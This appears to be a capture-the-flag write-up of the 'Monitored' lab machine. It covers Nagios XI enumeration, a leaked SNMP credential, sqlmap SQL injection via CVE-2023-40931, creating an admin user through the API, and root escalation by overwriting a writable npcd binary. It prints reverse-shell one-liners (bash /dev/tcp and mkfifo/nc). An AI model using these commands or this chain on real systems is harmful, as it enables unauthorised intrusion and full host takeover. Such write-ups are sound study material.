
Week 2. Monitored
TL;DR
This is a Debian machine owned by an IT team that runs a Nagios application used for network monitoring purposes. SNMP is also running on the host for maintenance purposes, and the public tree leaks credentials for the Nagios core. These credentials can be used to get an authentication token using the API which will be subsequently used to exploit an SQLi vulnerability affecting the installed Nagios version. SQLi allows dumping the database and retrieve the admin API key that we use to create our own admin user and get the user flag. For escalation, we abuse a writable binary found in the file system which run as root.
KEYWORDS
Nagios, ffuf enumeration, CVE-2023-40931, LDAP, SNMP, token authentication, SQLi, binary hijacking escalation.
REFERENCES
https://www.cvedetails.com/cve/CVE-2023-40931
https://rdgroup.co.za/2018/07/10/nagios-xi-5-5-is-here
https://support.nagios.com/forum/viewtopic.php?p=331071#p331071
https://www.exploit-db.com/exploits/44560
ENUMERATION
Port scan.
> nmap $target -p- -T4 -Pn --open --reason
Nmap scan report for 10.10.11.248
Host is up, received user-set (0.057s latency).
Not shown: 63049 closed tcp ports (conn-refused), 2481 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
389/tcp open ldap syn-ack
443/tcp open https syn-ack
5667/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 33.02 seconds
Enumerate the open ports.
> nmap $target -p22,80,389,443,5667 -sV -sC -Pn -vv
Nmap scan report for 10.10.11.248
Host is up, received user-set (0.042s latency).
Scanned at 2024-01-13 15:54:58 EST for 18s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/xFgJTbVC36GNHaE0GG4n/bWZGaD2aE7lsFUvXVdbINrl0qzBPVCMuOE1HNf0LHi09obr2Upt9VURzpYdrQp/7SX2NDet9pb+UQnB1IgjRSxoIxjsOX756a7nzi71tdcR3I0sALQ4ay5I5GO4TvaVq+o8D01v94B0Qm47LVk7J3mN4wFR17lYcCnm0kwxNBsKsAgZVETxGtPgTP6hbauEk/SKGA5GASdWHvbVhRHgmBz2l7oPrTot5e+4m8A7/5qej2y5PZ9Hq/2yOldrNpS77ID689h2fcOLt4fZMUbxuDzQIqGsFLPhmJn5SUCG9aNrWcjZwSL2LtLUCRt6PbW39UAfGf47XWiSs/qTWwW/yw73S8n5oU5rBqH/peFIpQDh2iSmIhbDq36FPv5a2Qi8HyY6ApTAMFhwQE6MnxpysKLt/xEGSDUBXh+4PwnR0sXkxgnL8QtLXKC2YBY04jGG0DXGXxh3xEZ3vmPV961dcsNd6Up8mmSC43g5gj2ML/E=
| 256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbeArqg4dgxZEFQzd3zpod1RYGUH6Jfz6tcQjHsVTvRNnUzqx5nc7gK2kUUo1HxbEAH+cPziFjNJc6q7vvpzt4=
| 256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5o+WJqnyLpmJtLyPL+tEUTFbjMZkx3jUUFqejioAj7
80/tcp open http syn-ack Apache httpd 2.4.56
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
389/tcp open ldap syn-ack OpenLDAP 2.2.X - 2.3.X
443/tcp filtered https no-response
5667/tcp open tcpwrapped syn-ack
Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 18.94 seconds
Enumerating the web server with Firefox, we find out a Nagios Xi login portal running at https://nagios.monitored.htb/nagiosxi. Nagios is an IT tool dedicated to monitor infrastructure components such as applications, OSes, networks and system metrics.
Let's start bruteforcing directories with ffuf
. In the https://nagios.monitored.htb/nagiosxi directory we find out directories /terminal
and /api
> ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100 -fc 404 -e .php,.html,.txt -u https://nagios.monitored.htb/nagiosxi/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://nagios.monitored.htb/nagiosxi/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Extensions : .php .html .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
________________________________________________
images [Status: 301, Size: 340, Words: 20, Lines: 10, Duration: 48ms]
index.php [Status: 302, Size: 27, Words: 5, Lines: 1, Duration: 81ms]
about [Status: 301, Size: 339, Words: 20, Lines: 10, Duration: 46ms]
login.php [Status: 200, Size: 26575, Words: 5452, Lines: 467, Duration: 96ms]
help [Status: 301, Size: 338, Words: 20, Lines: 10, Duration: 45ms]
tools [Status: 301, Size: 339, Words: 20, Lines: 10, Duration: 44ms]
mobile [Status: 301, Size: 340, Words: 20, Lines: 10, Duration: 43ms]
admin [Status: 301, Size: 339, Words: 20, Lines: 10, Duration: 43ms]
reports [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 43ms]
account [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 52ms]
includes [Status: 301, Size: 342, Words: 20, Lines: 10, Duration: 45ms]
install.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 82ms]
backend [Status: 301, Size: 341, Words: 20, Lines: 10, Duration: 45ms]
db [Status: 301, Size: 336, Words: 20, Lines: 10, Duration: 51ms]
api [Status: 301, Size: 337, Words: 20, Lines: 10, Duration: 90ms]
upgrade.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 99ms]
config [Status: 301, Size: 340, Words: 20, Lines: 10, Duration: 57ms]
suggest.php [Status: 200, Size: 27, Words: 5, Lines: 1, Duration: 100ms]
views [Status: 301, Size: 339, Words: 20, Lines: 10, Duration: 51ms]
sounds [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 45ms]
rr.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 154ms]
terminal [Status: 200, Size: 5215, Words: 1247, Lines: 124, Duration: 159ms]
.php [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 45ms]
.html [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 47ms]
:: Progress: [350600/350600] :: Job [1/1] :: 1196 req/sec :: Duration: [0:15:18] :: Errors: 1099::
Fuzz again the /api
folder to discover endpoints.
> ffuf -c -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -t 100 -fc 404 -u https://nagios.monitored.htb/nagiosxi/api/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://nagios.monitored.htb/nagiosxi/api/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/api/objects.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
________________________________________________
includes [Status: 301, Size: 346, Words: 20, Lines: 10, Duration: 71ms]
v1 [Status: 301, Size: 340, Words: 20, Lines: 10, Duration: 70ms]
:: Progress: [3132/3132] :: Job [1/1] :: 593 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
Continue finding endpoints by bruteforcing the /api/v1
folder.
> ffuf -c -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-v2.txt -t 100 -fc 404 -u https://nagios.monitored.htb/nagiosxi/api/v1/FUZZ -fs 32
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://nagios.monitored.htb/nagiosxi/api/v1/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
:: Filter : Response size: 32
________________________________________________
authenticate [Status: 200, Size: 53, Words: 7, Lines: 2, Duration: 1570ms]
edit source [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 46ms]
GetInvertedMatrix (see simInvertMatrix for the C-equivalent) [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 706ms]
InvertMatrix (see simGetInvertedMatrix for the Lua-equivalent) [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 66ms]
simGetInvertedMatrix (see simInvertMatrix for the C-equivalent) [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 45ms]
simInvertMatrix (see simGetInvertedMatrix for the Lua-equivalent) [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 54ms]
Text Area [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 2138ms]
:: Progress: [7616/7616] :: Job [1/1] :: 26 req/sec :: Duration: [0:04:51] :: Errors: 28 ::
Take note of the /api/v1/authenticate
endpoint and move along. Now, bruteforce the web root folder at https://nagios.monitored.htb, to find another login portal (code 401) at https://nagios.monitored.htb/nagios
> ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100 -fc 404 -e .php,.html,.txt -u https://nagios.monitored.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://nagios.monitored.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Extensions : .php .html .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
________________________________________________
index.php [Status: 200, Size: 3245, Words: 786, Lines: 75, Duration: 59ms]
javascript [Status: 301, Size: 335, Words: 20, Lines: 10, Duration: 55ms]
nagios [Status: 401, Size: 468, Words: 42, Lines: 15, Duration: 522ms]
.html [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 727ms]
.php [Status: 403, Size: 286, Words: 20, Lines: 10, Duration: 1715ms]
:: Progress: [350600/350600] :: Job [1/1] :: 190 req/sec :: Duration: [0:18:33] :: Errors: 0 ::
With this, we can consider the web enumeration over. Now we'll continue enumerating LDAP.
> nmap $target -p389 -script discovery
Pre-scan script results:
|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.043s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-search:
| Context: dc=monitored,dc=htb
| dn: dc=monitored,dc=htb
| objectClass: top
| objectClass: dcObject
| objectClass: organization
| o: monitored.htb
|_ dc: monitored
| ldap-rootdse:
| LDAP Results
| <ROOT>
| namingContexts: dc=monitored,dc=htb
| supportedControl: 2.16.840.1.113730.3.4.18
| supportedControl: 2.16.840.1.113730.3.4.2
| supportedControl: 1.3.6.1.4.1.4203.1.10.1
| supportedControl: 1.3.6.1.1.22
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.826.0.1.3344810.2.3
| supportedControl: 1.3.6.1.1.13.2
| supportedControl: 1.3.6.1.1.13.1
| supportedControl: 1.3.6.1.1.12
| supportedExtension: 1.3.6.1.4.1.4203.1.11.1
| supportedExtension: 1.3.6.1.4.1.4203.1.11.3
| supportedExtension: 1.3.6.1.1.8
| supportedLDAPVersion: 3
| supportedSASLMechanisms: DIGEST-MD5
| supportedSASLMechanisms: NTLM
| supportedSASLMechanisms: CRAM-MD5
|_ subschemaSubentry: cn=Subschema
Host script results:
|_fcrdns: FAIL (No PTR record)
| dns-brute:
|_ DNS Brute-force hostnames: No results.
Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
It seems SNMP is running in the host, we can confirm it with an UDP scan on port 161.
> sudo nmap $target -sU -p161 -sC -sV -vv
[sudo] password for kali:
Scanning monitored.htb (10.10.11.248) [1 port]
Discovered open port 161/udp on 10.10.11.248
Nmap scan report for monitored.htb (10.10.11.248)
Host is up, received echo-reply ttl 63 (0.041s latency).
Scanned at 2024-01-14 11:22:40 EST for 10s
Bug in snmp-win32-software: no string output.
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 63 SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-interfaces:
| lo
| IP address: 127.0.0.1 Netmask: 255.0.0.0
| Type: softwareLoopback Speed: 10 Mbps
| Status: up
| Traffic stats: 2.72 Mb sent, 2.72 Mb received
| VMware VMXNET3 Ethernet Controller
| IP address: 10.10.11.248 Netmask: 255.255.254.0
| MAC address: 005056b97a60 (VMware)
| Type: ethernetCsmacd Speed: 4 Gbps
| Status: up
|_ Traffic stats: 1.03 Gb sent, 390.45 Mb received
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 6f3fa7421af94c6500000000
| snmpEngineBoots: 35
|_ snmpEngineTime: 1h56m12s
| snmp-sysdescr: Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64
|_ System uptime: 1h56m12.41s (697241 timeticks)
| snmp-netstat:
| TCP 0.0.0.0:22 0.0.0.0:0
| TCP 0.0.0.0:389 0.0.0.0:0
| TCP 10.10.11.248:389 10.10.14.136:41582
| TCP 10.10.11.248:43196 10.10.16.86:4444
| TCP 10.10.11.248:46582 10.10.15.5:1234
| TCP 10.10.11.248:54618 10.10.16.86:5555
| TCP 127.0.0.1:25 0.0.0.0:0
| TCP 127.0.0.1:3306 0.0.0.0:0
| TCP 127.0.0.1:5432 0.0.0.0:0
| TCP 127.0.0.1:7878 0.0.0.0:0
| TCP 127.0.0.1:47960 127.0.1.1:80
| TCP 127.0.0.1:47968 127.0.1.1:80
| UDP 0.0.0.0:68 *:*
| UDP 0.0.0.0:123 *:*
| UDP 0.0.0.0:161 *:*
| UDP 0.0.0.0:162 *:*
| UDP 10.10.11.248:123 *:*
|_ UDP 127.0.0.1:123 *:*
Service Info: Host: monitored
Nmap done: 1 IP address (1 host up) scanned in 10.85 seconds
Raw packets sent: 6 (301B) | Rcvd: 2 (168B)
Best way to continue enumerating the public SNMP tree is to use the snmpwalk
tool. The output provided is very large and supplies huge amount of information, among other, a list of running processes.
> snmpwalk -c public -v1 -t 10 $target
iso.3.6.1.2.1.1.1.0 = STRING: "Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1036224) 2:52:42.24
iso.3.6.1.2.1.1.4.0 = STRING: "Me <root@monitored.htb>"
iso.3.6.1.2.1.1.5.0 = STRING: "monitored"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (1550) 0:00:15.50
…
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.3.11 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-5.10.0-27-amd64 root=UUID=d8761c35-f10f-4e79-b24c-38a65ad7ce1b ro net.ifnames=0 biosdevname=0 quiet"
…
iso.3.6.1.2.1.25.4.2.1.5.492 = STRING: "--config /etc/laurel/config.toml"
iso.3.6.1.2.1.25.4.2.1.5.522 = ""
iso.3.6.1.2.1.25.4.2.1.5.569 = STRING: "-d -q -s"
iso.3.6.1.2.1.25.4.2.1.5.571 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.572 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
iso.3.6.1.2.1.25.4.2.1.5.575 = STRING: "-n -iNONE"
iso.3.6.1.2.1.25.4.2.1.5.577 = ""
iso.3.6.1.2.1.25.4.2.1.5.578 = STRING: "-u -s -O /run/wpa_supplicant"
iso.3.6.1.2.1.25.4.2.1.5.588 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.609 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
iso.3.6.1.2.1.25.4.2.1.5.621 = STRING: "-4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0"
iso.3.6.1.2.1.25.4.2.1.5.686 = ""
iso.3.6.1.2.1.25.4.2.1.5.687 = ""
iso.3.6.1.2.1.25.4.2.1.5.731 = STRING: "-f /usr/local/nagios/etc/pnp/npcd.cfg"
iso.3.6.1.2.1.25.4.2.1.5.737 = STRING: "-LOw -f -p /run/snmptrapd.pid"
iso.3.6.1.2.1.25.4.2.1.5.750 = STRING: "-LOw -u Debian-snmp -g Debian-snmp -I -smux mteTrigger mteTriggerConf -f -p /run/snmpd.pid"
iso.3.6.1.2.1.25.4.2.1.5.759 = STRING: "-o -p -- \\u --noclear tty1 linux"
iso.3.6.1.2.1.25.4.2.1.5.770 = STRING: "-p /var/run/ntpd.pid -g -u 108:116"
iso.3.6.1.2.1.25.4.2.1.5.780 = ""
iso.3.6.1.2.1.25.4.2.1.5.816 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.818 = STRING: "-h ldap:/// ldapi:/// -g openldap -u openldap -F /etc/ldap/slapd.d"
iso.3.6.1.2.1.25.4.2.1.5.819 = STRING: "-q --background=/var/run/shellinaboxd.pid -c /var/lib/shellinabox -p 7878 -u shellinabox -g shellinabox --user-css Black on Whit"
iso.3.6.1.2.1.25.4.2.1.5.826 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.834 = STRING: "-D /var/lib/postgresql/13/main -c config_file=/etc/postgresql/13/main/postgresql.conf"
iso.3.6.1.2.1.25.4.2.1.5.1535 = STRING: "-u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1536 = STRING: "-c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB"
iso.3.6.1.2.1.25.4.2.1.5.1562 = STRING: "-bd -q30m"
iso.3.6.1.2.1.25.4.2.1.5.1976 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.2081 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.2115 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
iso.3.6.1.2.1.25.4.2.1.5.2118 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.2119 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.2120 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.2121 = STRING: "--worker /usr/local/nagios/var/rw/nagios.qh"
iso.3.6.1.2.1.25.4.2.1.5.2255 = STRING: "-d /usr/local/nagios/etc/nagios.cfg"
There are calls to a local shell script check_host.sh
along with what seems to be a credential svc:XjH7VCehowpR1xZB
At this point we finish the enumeration phase. Let's do a summary of what we have found so far:
A Nagios network monitoring tool is running on port 80.
There are 3 login pages running at:
Additionally, an authentication endpoint is available at: https://nagios.monitored.htb/nagiosxi/api/v1/authenticate
Finally, enumerating LDAP and SNMP we have found what seem to be a password (
XjH7VCehowpR1xZB
) for usersvc
USER
Looking for Nagios vulnerabilities, we come across this one: https://www.cvedetails.com/cve/CVE-2023-40931
It seems ID
parameter in https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php is vulnerable to SQLi. However, we must be authenticated to launch this attack, so we need to be logged into the Nagios tool before trying the injection.
If we remember, we have already found credentials svc:XjH7VCehowpR1xZB
. The credential do not work in Nagios Xi portal https://nagios.monitored.htb/nagiosxi.login.php (an "User disabled" error is returned).
Access is granted though in the Nagios core login at https://nagios.monitored.htb/nagios; however, nothing useful can be found here.
According to Nagios documentation (https://rdgroup.co.za/2018/07/10/nagios-xi-5-5-is-here/), user and password could theoretically be be used to login sending a POST request to the /api/v1/authenticate
endpoint.
I unsuccessfully tried to do so with Burpsuite and Postman, but finally found instructions in the Nagios support forum (https://support.nagios.com/forum/viewtopic.php?p=331071#p331071) to authenticate using curl
The following command performs the authentication and a token is received.
> curl -k -L -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/authenticate" -d "username=svc&password=XjH7VCehowpR1xZB"
{"username":"svc","user_id":"2","auth_token":"7f3dfb4cf7830c3895d701817697b39c214237a5","valid_min":5,"valid_until":"Sun, 14 Jan 2024 09:49:36 -0500"}
In summary, although the svc
account is disabled in the web login, it seems the API is still supplying tokens for this account when queried with curl
. We can take advantage of this now and launch the SQLi attack with sqlmap
and passing the token as argument.
> sqlmap --batch --dbms mysql --level 3 --risk 3 -p id -u "http://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?id=1&token=a150999b9c2b5ae2bb6c7c38b7b7c48e854838fe"
You have to patiently dump the databases and tables until you find the right one. In the process the token may expire so you may need to request a new one. Eventually, you end up finding an API key for user admin
on the nagiosxi
database and xi_users
table.
> sqlmap --batch --dbms mysql --level 3 --risk 3 -p id -D nagiosxi -T xi_users –dump -u "http://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?id=1&token=a150999b9c2b5ae2bb6c7c38b7b7c48e854838fe"
We can use this API key to add a new admin user. In this exploit https://www.exploit-db.com/exploits/44560 I found out the API endpoint and the parameters to do so.
> curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=admin17890&password=password123&name=nil&email=nil@localhost&auth_level=admin"
{
"success": "User account admin17890 was added successfully!",
"user_id": 18
}
Tips: make sure an user_id
is received, if null
is received your user has not been correctly created and you won't be able to use it. If that's the case, try changing paramenters; for example, in my case I found out the email had to finish in @localhost
for the user to be correctly created.
Now you can login into the Nagios Xi login site with your new admin account.
In the dashboard, navigate to Configure (top menu) -> Advanced configuration -> Commands -> Add new. Alternatively, you can edit an already existing command. In the command line field type a command to send a reverse shell to your attacker machine.
> bash -c 'bash -i >& /dev/tcp/<your ip here>/1919 0>&1'
Click on "Apply Changes" to save the command. Note: I constantly received error when trying to apply changes; however, after checking the history, I found out that as long as the command.cfg
file is correctly saved, everything will be ok.
To issue the command navigate to Monitoring -> Hosts -> Run check command. Start a listener and launch the command, a reverse shell is received, and you can get the user flag.
ROOT
Check current user's sudo
configuration.
> sudo -l
Matching Defaults entries for nagios on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on localhost:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php
/usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/bin/php
/usr/local/nagiosxi/scripts/migrate/migrate.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
It seems the user can start/stop services nagios
and npcd
as root without supplying a password. Enumerate the binaries related to the nagios
and npcd
services.
> find / -name nagios 2> /dev/null
/usr/local/nagios
> find / -name npcd 2> /dev/null
/usr/local/nagios/bin/npcd
> ls -hal /usr/local/nagios/bin/nagios
-rwxr-xr-- 1 nagios nagios 701K Jan 14 10:42 /usr/local/nagios/bin/nagios
> ls -hal /usr/local/nagios/bin/npcd
-rwxrwxrwx 1 nagios nagios 87 Jan 14 14:07 /usr/local/nagios/bin/npcd
Turns out we have writable access to the npcd
binary. Stop the service using the shell script.
> sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
Now edit the npcd
file contents and add command to send a reverse shell.
> echo '#!/bin/bash' > /usr/local/nagios/bin/npcd
> echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <your ip here> >/tmp/f' >> /usr/local/nagios/bin/npcd
Launch a listener on port 9001 and start the npcd
service using the script, a root reverse shell is received.
> sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
Last updated